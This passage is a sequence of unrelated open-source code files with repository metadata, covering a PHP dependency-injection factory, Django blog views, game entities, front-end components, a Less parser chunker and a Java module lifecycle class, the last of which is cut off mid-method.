<?php namespace TheCodingMachine\Yaco\Discovery; use Interop\Container\ContainerInterface; use Interop\Container\Factory\ContainerFactoryInterface; use Puli\Discovery\Api\Discovery; use Puli\Discovery\Binding\ClassBinding; use Symfony\Component\Filesystem\Filesystem; use TheCodingMachine\Yaco\Compiler; /** * A class in charge of instantiating the default Yaco container. */ class YacoFactory implements ContainerFactoryInterface { /** * Creates a container. * * @param ContainerInterface $rootContainer * @param Discovery $discovery * * @return ContainerInterface */ public static function buildContainer(ContainerInterface $rootContainer, Discovery $discovery) { $containerFile = self::getContainerFilePath(); if (!file_exists($containerFile)) { self::compileContainer($discovery); } if (!is_readable($containerFile)) { throw new YacoFactoryNoContainerException('Unable to read file ".yaco/Container.php" at project root.'); } require_once $containerFile; return new \TheCodingMachine\Yaco\Container($rootContainer); } /** * Creates the container file from the discovered providers. * * @param Discovery $discovery */ public static function compileContainer(Discovery $discovery) { $containerFile = self::getContainerFilePath(); $compiler = new Compiler(); $bindings = $discovery->findBindings('container-interop/DefinitionProviderFactories'); $definitionProviders = []; $priorities = []; foreach ($bindings as $binding) { /* @var $binding ClassBinding */ $definitionProviderFactoryClassName = $binding->getClassName(); // From the factory class name, let's call the buildDefinitionProvider static method to get the definitionProvider. $definitionProviders[] = call_user_func([ $definitionProviderFactoryClassName, 'buildDefinitionProvider' ], $discovery); $priorities[] = $binding->getParameterValue('priority'); } // Sort definition providers according to their priorities. array_multisort($priorities, $definitionProviders); foreach ($definitionProviders as $provider) { $compiler->register($provider); } $containerFileContent = $compiler->compile('\\TheCodingMachine\\Yaco\\Container'); $filesystem = new Filesystem(); if (!$filesystem->exists(dirname($containerFile))) { $filesystem->mkdir(dirname($containerFile)); } $filesystem->dumpFile($containerFile, $containerFileContent); $filesystem->chmod($containerFile, 0664); } /** * @return string */ public static function getContainerFilePath() { return __DIR__.'/../../../../.yaco/Container.php'; } }
thecodingmachine/yaco-discovery
src/YacoFactory.php
PHP
mit
2,891
from django.core import serializers from rest_framework.response import Response from django.http import JsonResponse try: from urllib import quote_plus # python 2 except: pass try: from urllib.parse import quote_plus # python 3 except: pass from django.contrib import messages from django.contrib.contenttypes.models import ContentType from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.db.models import Q from django.http import HttpResponse, HttpResponseRedirect, Http404 from django.shortcuts import render, get_object_or_404, redirect from django.utils import timezone from comments.forms import CommentForm from comments.models import Comment from .forms import PostForm from .models import Post def post_create(request): if not request.user.is_staff or not request.user.is_superuser: raise Http404 form = PostForm(request.POST or None, request.FILES or None) if form.is_valid(): instance = form.save(commit=False) instance.user = request.user instance.save() # message success messages.success(request, "Successfully Created") return HttpResponseRedirect(instance.get_absolute_url()) context = { "form": form, } return render(request, "post_form.html", context) def post_detail(request, slug=None): instance = get_object_or_404(Post, slug=slug) if instance.publish > timezone.now().date() or instance.draft: if not request.user.is_staff or not request.user.is_superuser: raise Http404 share_string = quote_plus(instance.content) initial_data = { "content_type": instance.get_content_type, "object_id": instance.id } form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid() and request.user.is_authenticated(): c_type = form.cleaned_data.get("content_type") content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get("content") parent_obj = None try: parent_id = int(request.POST.get("parent_id")) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists() and parent_qs.count() == 1: parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create( user=request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj, ) return HttpResponseRedirect(new_comment.content_object.get_absolute_url()) comments = instance.comments context = { "title": instance.title, "instance": instance, "share_string": share_string, "comments": comments, "comment_form": form, } return render(request, "post_detail.html", context) def post_list(request): today = timezone.now().date() queryset_list = Post.objects.active() # .order_by("-timestamp") if request.user.is_staff or request.user.is_superuser: queryset_list = Post.objects.all() query = request.GET.get("q") if query: queryset_list = queryset_list.filter( Q(title__icontains=query) | Q(content__icontains=query) | Q(user__first_name__icontains=query) | Q(user__last_name__icontains=query) ).distinct() paginator = Paginator(queryset_list, 8) # Show 25 contacts per page page_request_var = "page" page = request.GET.get(page_request_var) try: queryset = paginator.page(page) except PageNotAnInteger: # If page is not an integer, deliver first page. queryset = paginator.page(1) except EmptyPage: # If page is out of range (e.g. 9999), deliver last page of results. queryset = paginator.page(paginator.num_pages) context = { "object_list": queryset, "title": "List", "page_request_var": page_request_var, "today": today, } return render(request, "post_list.html", context) def post_update(request, slug=None): if not request.user.is_staff or not request.user.is_superuser: raise Http404 instance = get_object_or_404(Post, slug=slug) form = PostForm(request.POST or None, request.FILES or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item</a> Saved", extra_tags='html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = { "title": instance.title, "instance": instance, "form": form, } return render(request, "post_form.html", context) def post_delete(request, slug=None): if not request.user.is_staff or not request.user.is_superuser: raise Http404 instance = get_object_or_404(Post, slug=slug) instance.delete() messages.success(request, "Successfully deleted") return redirect("posts:list")
our-iot-project-org/pingow-web-service
src/posts/views.py
Python
mit
5,217
<?php return array ( 'id' => 'nokia_c7_00_ver1_subuaold_subu2k9', 'fallback' => 'nokia_c7_00_ver1_subuaold', 'capabilities' => array ( 'mobile_browser' => 'UCWeb', 'mobile_browser_version' => '9', ), );
cuckata23/wurfl-data
data/nokia_c7_00_ver1_subuaold_subu2k9.php
PHP
mit
222
package com.exilegl.ld34.entity.enemy; import java.util.Random; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.Color; import com.badlogic.gdx.graphics.OrthographicCamera; import com.badlogic.gdx.graphics.Texture; import com.badlogic.gdx.graphics.g2d.SpriteBatch; import com.badlogic.gdx.math.Rectangle; import com.badlogic.gdx.math.Vector2; import com.badlogic.gdx.math.Vector3; import com.badlogic.gdx.physics.box2d.World; import com.exilegl.ld34.ai.AiFollowLocation; import com.exilegl.ld34.entity.Entity; import com.exilegl.ld34.entity.EntityCoin; import com.exilegl.ld34.entity.EntityDirection; import com.exilegl.ld34.entity.EntityPlayer; import com.exilegl.ld34.map.Map; import com.exilegl.ld34.sound.Sound; import com.exilegl.ld34.tile.Tile; import box2dLight.ChainLight; import box2dLight.ConeLight; import box2dLight.PointLight; public class EntityBullet extends EntityEnemy{ //The bullet's light color private Color color; private float distance; private Vector2 offset; private float age; private boolean textured; private Texture texture; //Whether or not the bullet kills enemies. If not, it kills non enemies. private boolean killsEnemies; private float duration; private boolean ranged; public EntityBullet(Vector2 location, Color color, EntityDirection direction, float distance, boolean killsEnemies, float duration, boolean textured, boolean ranged, boolean moveY) { super(null, location, 10, 10, true); this.setColor(color); this.setDistance(distance); this.offset = new Vector2(0, 0); float y = (this.getLocation().y); if(ranged){ Random r = new Random(); if(r.nextBoolean()){ y = (y + 64); }else{ y = (y - 64); } } if(!moveY){ if(direction == EntityDirection.LEFT){ this.addAction(new AiFollowLocation(this, new Vector2(this.getLocation().x - this.getDistance() * 5, y), this.getSpeed(), false, false)); }else{ this.addAction(new AiFollowLocation(this, new Vector2(this.getLocation().x + this.getDistance() * 5, y), this.getSpeed(), false, false)); } }else{ if(direction == EntityDirection.LEFT){ this.addAction(new AiFollowLocation(this, new Vector2(this.getLocation().x * 5, y + distance * 3), this.getSpeed(), false, false)); }else{ this.addAction(new AiFollowLocation(this, new Vector2(this.getLocation().x, y - distance * 3), this.getSpeed(), false, false)); } } setAge(0); if(this.isTextured()){ this.setTexture(new Texture(Gdx.files.internal("assets/texture/entity/redbullet.png"))); } this.setKillsEnemies(killsEnemies); this.setDuration(duration); if(textured){ this.setTexture(new Texture(Gdx.files.internal("assets/texture/misc/bullet.png"))); } this.setTextured(textured); if(!killsEnemies){ Sound.play(Sound.Enemy_Shoot, 0.5f); } this.ranged = ranged; if(ranged){ this.setDistance(distance * 1.5f); } } @Override public void update() { setAge((getAge() + 1 * Gdx.graphics.getDeltaTime())); if(this.getLight() == null){ this.setLight(new PointLight(this.getMap().getRay(), Map.RAYS, this.getColor(), this.getDistance() / 5, this.getLocation().x, this.getLocation().y)); } this.flickerLight(20, (int) ((int) getDistance() * 1.5f), (int) getDistance()); this.getLight().setPosition(this.getLocation().x + offset.x, this.getLocation().y + offset.y); this.setRectangle(new Rectangle(this.getLocation().x, this.getLocation().y, this.getLight().getDistance(), this.getLight().getDistance())); this.performAi(); if(this.getAge() > this.getDuration()){ this.kill(); } for(Entity e : this.getMap().getEntities()){ if(this.isKillsEnemies()){ if(e instanceof EntityEnemy && !(e instanceof EntityPlayer) && !(e instanceof EntityBullet) && this.getRectangle().overlaps(e.getRectangle()) && !(e instanceof EntityDeathTile)){ e.kill(); this.kill(); Sound.play(Sound.Kill_Enemy); } }else{ try{ if(!(e instanceof EntityEnemy) && !(e instanceof EntityCoin) && this.getRectangle().overlaps(e.getRectangle())){ e.kill(); this.kill(); } }catch(NullPointerException n){ } } if(e instanceof EntityPlayer && this.getRectangle().overlaps(e.getRectangle()) && !this.isKillsEnemies()){ e.kill(); this.kill(); } } for(Tile t : this.getMap().getTiles()){ if(t.getType().SOLID){ Rectangle tileRect = new Rectangle(t.getLocation().x, t.getLocation().y, t.getSingleAnimation().getWidth(), t.getSingleAnimation().getHeight()); Rectangle bulletRect = new Rectangle(this.getLocation().x, this.getLocation().y, this.getLight().getDistance(), this.getLight().getDistance()); if(bulletRect.overlaps(tileRect)){ this.kill(); } } } } @Override public void draw(SpriteBatch batch){ if(this.isTextured()){ batch.draw(this.getTexture(), this.getLocation().x, this.getLocation().y); } } @Override public void create(Map map) { this.setMap(map); if(isKillsEnemies()){ Vector3 m = new Vector3(Gdx.input.getX(), Gdx.input.getY(), 0); this.getMap().getCamera().unproject(m); ((AiFollowLocation) this.getActions().get(0)).getDestination().set(m.x, m.y); } } public boolean isTextured() { return textured; } public void setTextured(boolean textured) { this.textured = textured; } public Texture getTexture() { return texture; } public void setTexture(Texture texture) { this.texture = texture; } public float getAge() { return age; } public void setAge(float age) { this.age = age; } public float getDistance() { return distance; } public void setDistance(float distance) { this.distance = distance; } public Color getColor() { return color; } public void setColor(Color color) { this.color = color; } public float getDuration() { return duration; } public void setDuration(float duration) { this.duration = duration; } public boolean isKillsEnemies() { return killsEnemies; } public void setKillsEnemies(boolean killsEnemies) { this.killsEnemies = killsEnemies; } public Vector2 getOffset(){ return this.offset; } }
some1epic123/Mr.-Dungeon-Aase-LD34-
LD34/src/com/exilegl/ld34/entity/enemy/EntityBullet.java
Java
mit
6,144
import { Component, OnInit, Input } from '@angular/core'; import { ROUTER_DIRECTIVES } from '@angular/router'; import { PublishingItemsService, PublishingItem } from '../shared/index'; @Component({ moduleId: module.id, selector: 'app-publish-card', templateUrl: 'publish-card.component.html', styleUrls: ['publish-card.component.css'], directives: [ROUTER_DIRECTIVES] }) export class PublishCardComponent implements OnInit { @Input() publishingItem: PublishingItem; constructor(private _publishingItemsService: PublishingItemsService) {} ngOnInit() { } public delete() { // NOTE: normally we would have to emit an event and notify the container element about // the deletion but since we are using websockets, the server will send a notification instead. this._publishingItemsService.delete(this.publishingItem); } }
gallotamas/falcon
src/app/publish/publish-card/publish-card.component.ts
TypeScript
mit
856
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // Split the input into chunks. exports.default = (function (input, fail) { var len = input.length; var level = 0; var parenLevel = 0; var lastOpening; var lastOpeningParen; var lastMultiComment; var lastMultiCommentEndBrace; var chunks = []; var emitFrom = 0; var chunkerCurrentIndex; var currentChunkStartIndex; var cc; var cc2; var matched; function emitChunk(force) { var len = chunkerCurrentIndex - emitFrom; if (((len < 512) && !force) || !len) { return; } chunks.push(input.slice(emitFrom, chunkerCurrentIndex + 1)); emitFrom = chunkerCurrentIndex + 1; } for (chunkerCurrentIndex = 0; chunkerCurrentIndex < len; chunkerCurrentIndex++) { cc = input.charCodeAt(chunkerCurrentIndex); if (((cc >= 97) && (cc <= 122)) || (cc < 34)) { // a-z or whitespace continue; } switch (cc) { case 40: // ( parenLevel++; lastOpeningParen = chunkerCurrentIndex; continue; case 41: // ) if (--parenLevel < 0) { return fail('missing opening `(`', chunkerCurrentIndex); } continue; case 59: // ; if (!parenLevel) { emitChunk(); } continue; case 123: // { level++; lastOpening = chunkerCurrentIndex; continue; case 125: // } if (--level < 0) { return fail('missing opening `{`', chunkerCurrentIndex); } if (!level && !parenLevel) { emitChunk(); } continue; case 92: // \ if (chunkerCurrentIndex < len - 1) { chunkerCurrentIndex++; continue; } return fail('unescaped `\\`', chunkerCurrentIndex); case 34: case 39: case 96: // ", ' and ` matched = 0; currentChunkStartIndex = chunkerCurrentIndex; for (chunkerCurrentIndex = chunkerCurrentIndex + 1; chunkerCurrentIndex < len; chunkerCurrentIndex++) { cc2 = input.charCodeAt(chunkerCurrentIndex); if (cc2 > 96) { continue; } if (cc2 == cc) { matched = 1; break; } if (cc2 == 92) { // \ if (chunkerCurrentIndex == len - 1) { return fail('unescaped `\\`', chunkerCurrentIndex); } chunkerCurrentIndex++; } } if (matched) { continue; } return fail("unmatched `" + String.fromCharCode(cc) + "`", currentChunkStartIndex); case 47: // /, check for comment if (parenLevel || (chunkerCurrentIndex == len - 1)) { continue; } cc2 = input.charCodeAt(chunkerCurrentIndex + 1); if (cc2 == 47) { // //, find lnfeed for (chunkerCurrentIndex = chunkerCurrentIndex + 2; chunkerCurrentIndex < len; chunkerCurrentIndex++) { cc2 = input.charCodeAt(chunkerCurrentIndex); if ((cc2 <= 13) && ((cc2 == 10) || (cc2 == 13))) { break; } } } else if (cc2 == 42) { // /*, find */ lastMultiComment = currentChunkStartIndex = chunkerCurrentIndex; for (chunkerCurrentIndex = chunkerCurrentIndex + 2; chunkerCurrentIndex < len - 1; chunkerCurrentIndex++) { cc2 = input.charCodeAt(chunkerCurrentIndex); if (cc2 == 125) { lastMultiCommentEndBrace = chunkerCurrentIndex; } if (cc2 != 42) { continue; } if (input.charCodeAt(chunkerCurrentIndex + 1) == 47) { break; } } if (chunkerCurrentIndex == len - 1) { return fail('missing closing `*/`', currentChunkStartIndex); } chunkerCurrentIndex++; } continue; case 42: // *, check for unmatched */ if ((chunkerCurrentIndex < len - 1) && (input.charCodeAt(chunkerCurrentIndex + 1) == 47)) { return fail('unmatched `/*`', chunkerCurrentIndex); } continue; } } if (level !== 0) { if ((lastMultiComment > lastOpening) && (lastMultiCommentEndBrace > lastMultiComment)) { return fail('missing closing `}` or `*/`', lastOpening); } else { return fail('missing closing `}`', lastOpening); } } else if (parenLevel !== 0) { return fail('missing closing `)`', lastOpeningParen); } emitChunk(true); return chunks; }); //# sourceMappingURL=chunker.js.map
lordtiago/linvs
node_modules/less/lib/less/parser/chunker.js
JavaScript
mit
5,641
using MasterDevs.ChromeDevTools; using Newtonsoft.Json; using System; using System.Collections.Generic; namespace MasterDevs.ChromeDevTools.Protocol.Chrome.IndexedDB { /// <summary> /// Enables events from backend. /// </summary> [Command(ProtocolName.IndexedDB.Enable)] [SupportedBy("Chrome")] public class EnableCommand: ICommand<EnableCommandResponse> { } }
MasterDevs/ChromeDevTools
source/ChromeDevTools/Protocol/Chrome/IndexedDB/EnableCommand.cs
C#
mit
370
using System.Collections; using System.Collections.Generic; using UnityEngine; public class music_switch : MonoBehaviour { private AudioSource aud; public AudioClip[] songs; private int selection; // Use this for initialization void Start () { aud = this.GetComponent<AudioSource> (); selection = Random.Range (0, songs.Length); aud.clip = songs [selection]; } // Update is called once per frame void Update () { if (!aud.isPlaying && aud != null) { aud.Play (); } } void OnDestroy() { Destroy(this); } }
lheckle/SomethingSomethingTacos
EnemySpawnTest/Assets/Scripts/music_switch.cs
C#
mit
541
from ..cw_model import CWModel class Order(CWModel): def __init__(self, json_dict=None): self.id = None # (Integer) self.company = None # *(CompanyReference) self.contact = None # (ContactReference) self.phone = None # (String) self.phoneExt = None # (String) self.email = None # (String) self.site = None # (SiteReference) self.status = None # *(OrderStatusReference) self.opportunity = None # (OpportunityReference) self.orderDate = None # (String) self.dueDate = None # (String) self.billingTerms = None # (BillingTermsReference) self.taxCode = None # (TaxCodeReference) self.poNumber = None # (String(50)) self.locationId = None # (Integer) self.businessUnitId = None # (Integer) self.salesRep = None # *(MemberReference) self.notes = None # (String) self.billClosedFlag = None # (Boolean) self.billShippedFlag = None # (Boolean) self.restrictDownpaymentFlag = None # (Boolean) self.description = None # (String) self.topCommentFlag = None # (Boolean) self.bottomCommentFlag = None # (Boolean) self.shipToCompany = None # (CompanyReference) self.shipToContact = None # (ContactReference) self.shipToSite = None # (SiteReference) self.billToCompany = None # (CompanyReference) self.billToContact = None # (ContactReference) self.billToSite = None # (SiteReference) self.productIds = None # (Integer[]) self.documentIds = None # (Integer[]) self.invoiceIds = None # (Integer[]) self.configIds = None # (Integer[]) self.total = None # (Number) self.taxTotal = None # (Number) self._info = None # (Metadata) # initialize object with json dict super().__init__(json_dict)
joshuamsmith/ConnectPyse
sales/order.py
Python
mit
1,974
package adts; /** * Interface that represents any music item. MusicSymbol and MusicPart extend * this. Thus, a Music could be a MusicPiece, a Voice, a Chord, a Lyric, a * Pitch, or a Rest. a The objects are immutable. The equals, toString, and * hashCode methods work recursively and individually different from each class * extending Music. Read their documentation for full specs. * **/ /* * Representation Music = MusicPiece(signature: Signature, voices: List<Voice>) * + Measure(notes: List<MusicSymbol>, lyrics: Lyric) + Voice(name: String, * measures: List<Measure>) + Chord(notes: List<Pitch>)+ + Lyric(syllables: * List<String>) + Pitch(value: string, octave: int, length: int) + Rest(length: * int) */ public interface Music { /** * Calculates the required number of ticks per beat, so that each note can * be represented as an integer number of ticks. * * @return integer representing number of ticks per beat. */ public int calculateTicksPerBeat(); /** * Tests the equality of one music to to another, such that two expressions * with equal attributes (observationally indistinguishable) are considered * equal * * @param _that * music to compare to * @return whether or not the two musics are equal */ @Override public boolean equals(Object _that); /** * Returns the string representation of the music * * @returns the music as a string */ @Override public String toString(); /** * Calculates the hashcode for this music. HashCode for two equal musics * will be identical. * * @return the hashcode for the music */ @Override public int hashCode(); }
zekedroid/ABC-Music-Player
src/adts/Music.java
Java
mit
1,812
class ApplicationPolicy attr_reader :user, :record def initialize(user, record) @user = user @record = record end class Scope attr_reader :user, :scope def initialize(user, scope) @user = user @scope = scope end end end
jcpny1/recipe-cat
app/policies/application_policy.rb
Ruby
mit
267
'use strict'; var isA = require("Espresso/oop").isA; var oop = require("Espresso/oop").oop; var init = require("Espresso/oop").init; var trim = require("Espresso/trim").trim; var isA = require("Espresso/oop").isA; var oop = require("Espresso/oop").oop; function RequestInterface(){ oop(this,"Espresso/Http/RequestInterface"); } module.exports = RequestInterface;
quimsy/espresso
Http/RequestInterface.js
JavaScript
mit
369
namespace AnimalLookupWebservice.Areas.HelpPage.ModelDescriptions { public class KeyValuePairModelDescription : ModelDescription { public ModelDescription KeyModelDescription { get; set; } public ModelDescription ValueModelDescription { get; set; } } }
rohansen/Code-Examples
Web Development/Web Service Examples/AnimalLookupWebservice/AnimalLookupWebservice/Areas/HelpPage/ModelDescriptions/KeyValuePairModelDescription.cs
C#
mit
281
module.exports = function(dataUri, maxDimension, callback){ var source = new Image(); source.addEventListener('load', function(){ var canvas = document.createElement('canvas'), ratio = Math.max(source.width, source.height) / maxDimension; canvas.width = source.width / ratio; canvas.height = source.height / ratio; var context = canvas.getContext('2d'); context.drawImage( source, 0, 0, source.width, source.height, 0, 0, canvas.width, canvas.height ); callback(null, canvas.toDataURL()); }); source.src = dataUri; };
MauriceButler/resizeo
index.js
JavaScript
mit
715
</script> <!--script end--> </body> <!--body end--> </html> <!--html end-->
zhangbobell/reportv2
application/views/templates/task_footer_final.php
PHP
mit
103
// @flow import React from 'react'; import { renderToStaticMarkup } from 'react-dom/server'; import Middleware from './Middleware'; type Base = { href?: string, target?: string, }; type Link = { crossOrigin?: string, href?: string, hrefLang?: string, integrity?: string, media?: string, preload?: boolean, prefetch?: boolean, rel?: string, sizes?: string, title?: string, type?: string, }; type Meta = { content?: string, httpEquiv?: string, charSet?: string, name?: string }; type Script = { async?: boolean, crossOrigin?: string, defer?: boolean, integrity?: string, script?: string, src?: string, type?: string, }; type Stylesheet = { href?: string, media?: string, rel?: string }; type Head = { base?: Base, meta?: Array<Meta>, links?: Array<Link>, scripts?: Array<Script>, stylesheets?: Array<Stylesheet>, title?: string, }; type Result = { body?: string, containerId?: string, head?: Head, lang?: string, scripts?: Array<Script>, status?: number, stylesheets?: Array<Stylesheet>, }; export type Props = { render: (context: *) => Promise<Result> | Result, }; export function renderHead(head: Head, additionalStylesheets?: Array<Stylesheet> = []): string { const metaTags = head.meta || []; const links = head.links || []; const scripts = head.scripts || []; const stylesheets = [...(head.stylesheets || []), ...additionalStylesheets]; return renderToStaticMarkup( <head> {head.base && <base {...head.base} />} {metaTags.map((tag, i) => <meta key={i} {...tag} />)} <title> {head.title} </title> {links.map((linkAttrs, i) => <link key={i} {...linkAttrs} />)} {stylesheets.map((stylesheetAttrs, i) => <link key={`s-${i}`} {...stylesheetAttrs} rel={stylesheetAttrs.rel || 'stylesheet'} />, )} {scripts.map((scriptAttrs, i) => <script key={`scr-${i}`} {...scriptAttrs} dangerouslySetInnerHTML={{ __html: scriptAttrs.script }} />, )} </head>, ); } export function renderFooter(scripts?: Array<Script> = []): string { return renderToStaticMarkup( <footer> {scripts.map((scriptAttrs, i) => <script key={`fscr-${i}`} {...scriptAttrs} dangerouslySetInnerHTML={{ __html: scriptAttrs.script }} />, )} </footer>, ).replace(/<(\/)?footer>/g, ''); } export default function RenderApp({ render }: Props) { return ( <Middleware use={async ctx => { const { body = '', containerId = 'app', lang = 'en', head = {}, scripts = [], status, stylesheets = [], } = await render(ctx); ctx.status = status || 200; ctx.body = ` <html lang="${lang}"> ${renderHead(head, stylesheets)} <body> <div id="${containerId}">${body}</div> ${renderFooter(scripts)} </body> </html> `.trim(); }} /> ); }
michalkvasnicak/spust
packages/spust-koa/src/RenderApp.js
JavaScript
mit
2,997
import { RESOURCE, SERVER_ERRORS, INITIAL_STATE_WITH_CACHED_LIST, INITIAL_STATE_WITH_LIST_BEING_FETCHED, INITIAL_STATE_WITH_CACHED_AND_SELECTED_LIST, } from '../mocks' import { generateListResourceActions } from './mocks' const request = () => Promise.resolve([RESOURCE]) const errorRequest = () => Promise.reject(SERVER_ERRORS) it('will dispatch two actions on success', async () => { const actions = await generateListResourceActions({ request }) expect(actions.length).toBe(2) }) it('will dispatch two actions on error', async () => { const actions = await generateListResourceActions({ request: errorRequest }) expect(actions.length).toBe(2) }) it('will dispatch one action if the list is cached but not selected', async () => { const actions = await generateListResourceActions({ request: errorRequest, initialState: INITIAL_STATE_WITH_CACHED_LIST, }) expect(actions.length).toBe(1) }) it('will dispatch two action if the list is cached but shouldIgnoreCache is passed', async () => { const actions = await generateListResourceActions({ request: errorRequest, shouldIgnoreCache: true, initialState: INITIAL_STATE_WITH_CACHED_LIST, }) expect(actions.length).toBe(2) }) it('will dispatch no actions if the list is cached and selected', async () => { const actions = await generateListResourceActions({ request: errorRequest, initialState: INITIAL_STATE_WITH_CACHED_AND_SELECTED_LIST, }) expect(actions.length).toBe(0) }) it('will dispatch no actions if the list is being fetched', async () => { const actions = await generateListResourceActions({ request: errorRequest, initialState: INITIAL_STATE_WITH_LIST_BEING_FETCHED, }) expect(actions.length).toBe(0) }) it('will have a update selectedResourceList action', async () => { const [inititalAction] = await generateListResourceActions({ request: errorRequest, initialState: INITIAL_STATE_WITH_CACHED_LIST, }) expect(inititalAction).toMatchSnapshot() }) it('will have an initial action', async () => { const [inititalAction] = await generateListResourceActions({ request }) expect(inititalAction).toMatchSnapshot() }) it('will have a success action', async () => { const [_, successAction] = await generateListResourceActions({ request }) expect(successAction).toMatchSnapshot() }) it('will have a error action', async () => { const [_, errorAction] = await generateListResourceActions({ request: errorRequest }) expect(errorAction).toMatchSnapshot() })
travisbloom/redux-resources
src/actions/listResource.spec.js
JavaScript
mit
2,626
// acquisition.hpp #ifndef ACQUISITION_HPP #define ACQUISITION_HPP #include <QAbstractVideoBuffer> #include <QAbstractVideoSurface> #include <QList> #include <QVideoFrame> #include <QLoggingCategory> Q_DECLARE_LOGGING_CATEGORY(visionAcquisitionLog) class Acquisition : public QAbstractVideoSurface { Q_OBJECT public: Acquisition (); QList<QVideoFrame::PixelFormat> supportedPixelFormats ( QAbstractVideoBuffer::HandleType handleType) const; bool present (const QVideoFrame& frame); signals: void FrameAvailable (const QVideoFrame& frame); }; #endif // ACQUISITION_HPP
derpicated/articated
source/vision/acquisition.hpp
C++
mit
608
/* * The MIT License * Copyright © 2014 Cube Island * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package de.cubeisland.engine.modularity.core; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Comparator; import java.util.HashMap; import java.util.LinkedList; import java.util.Map; import java.util.PriorityQueue; import java.util.Queue; import java.util.TreeMap; import javax.inject.Provider; import de.cubeisland.engine.modularity.core.graph.Dependency; import de.cubeisland.engine.modularity.core.graph.DependencyInformation; import de.cubeisland.engine.modularity.core.graph.meta.ModuleMetadata; import de.cubeisland.engine.modularity.core.graph.meta.ServiceDefinitionMetadata; import de.cubeisland.engine.modularity.core.graph.meta.ServiceImplementationMetadata; import de.cubeisland.engine.modularity.core.graph.meta.ServiceProviderMetadata; import de.cubeisland.engine.modularity.core.marker.Disable; import de.cubeisland.engine.modularity.core.marker.Enable; import de.cubeisland.engine.modularity.core.marker.Setup; import de.cubeisland.engine.modularity.core.service.ServiceProvider; import static de.cubeisland.engine.modularity.core.LifeCycle.State.*; public class LifeCycle { private static final Field MODULE_META_FIELD; private static final Field MODULE_MODULARITY_FIELD; private static final Field MODULE_LIFECYCLE; static { try { MODULE_META_FIELD = Module.class.getDeclaredField("metadata"); MODULE_META_FIELD.setAccessible(true); MODULE_MODULARITY_FIELD = Module.class.getDeclaredField("modularity"); MODULE_MODULARITY_FIELD.setAccessible(true); MODULE_LIFECYCLE = Module.class.getDeclaredField("lifeCycle"); MODULE_LIFECYCLE.setAccessible(true); } catch (NoSuchFieldException e) { throw new IllegalStateException(); } } private Modularity modularity; private DependencyInformation info; private State current = NONE; private Object instance; private Method enable; private Method disable; private Map<Integer, Method> setup = new TreeMap<Integer, Method>(); private Map<Dependency, SettableMaybe> maybes = new HashMap<Dependency, SettableMaybe>(); private Queue<LifeCycle> impls = new LinkedList<LifeCycle>(); public LifeCycle(Modularity modularity) { this.modularity = modularity; } public LifeCycle load(DependencyInformation info) { this.info = info; this.current = LOADED; return this; } public LifeCycle provide(ValueProvider provider) { this.instance = provider; this.current = PROVIDED; return this; } public LifeCycle initProvided(Object object) { this.instance = object; this.current = PROVIDED; return this; } public boolean isIn(State state) { return current == state; } public LifeCycle instantiate() { if (isIn(NONE)) { throw new IllegalStateException("Cannot instantiate when not loaded"); } if (isIn(LOADED)) { try { if (info instanceof ServiceDefinitionMetadata) { ClassLoader classLoader = info.getClassLoader(); if (classLoader == null) // may happen when loading from classpath { classLoader = modularity.getClass().getClassLoader(); // get parent classloader then } Class<?> instanceClass = Class.forName(info.getClassName(), true, classLoader); instance = new ServiceProvider(instanceClass, impls); // TODO find impls in modularity and link them to this // TODO transition all impls to INSTANTIATED? } else { this.instance = info.injectionPoints().get(INSTANTIATED.name(0)).inject(modularity, this); if (instance instanceof Module) { MODULE_META_FIELD.set(instance, info); MODULE_MODULARITY_FIELD.set(instance, modularity); MODULE_LIFECYCLE.set(instance, this); } info.injectionPoints().get(INSTANTIATED.name(1)).inject(modularity, this); findMethods(); } } catch (ClassNotFoundException e) { throw new IllegalStateException(e); } catch (IllegalAccessException e) { throw new IllegalStateException(e); } current = INSTANTIATED; } // else State already reached or provided return this; } public LifeCycle setup() { if (isIn(NONE)) { throw new IllegalStateException("Cannot instantiate when not loaded"); } if (isIn(LOADED)) { this.instantiate(); } if (isIn(INSTANTIATED)) { // TODO abstract those methods away for (Method method : setup.values()) { invoke(method); } for (LifeCycle impl : impls) { impl.setup(); } current = SETUP; } // else reached or provided return this; } public LifeCycle enable() { if (isIn(NONE)) { throw new IllegalStateException("Cannot instantiate when not loaded"); } if (isIn(LOADED)) { this.instantiate(); } if (isIn(INSTANTIATED)) { this.setup(); } if (isIn(SETUP)) { this.modularity.log("Enable " + info.getIdentifier().name()); modularity.runEnableHandlers(getInstance()); invoke(enable); for (SettableMaybe maybe : maybes.values()) { maybe.provide(getProvided(this)); } for (LifeCycle impl : impls) { impl.enable(); } current = ENABLED; } return this; } public LifeCycle disable() { if (isIn(ENABLED)) { modularity.runDisableHandlers(getInstance()); invoke(disable); for (SettableMaybe maybe : maybes.values()) { maybe.remove(); } // TODO if active impl replace in service with inactive OR disable service too // TODO if service disable all impls too 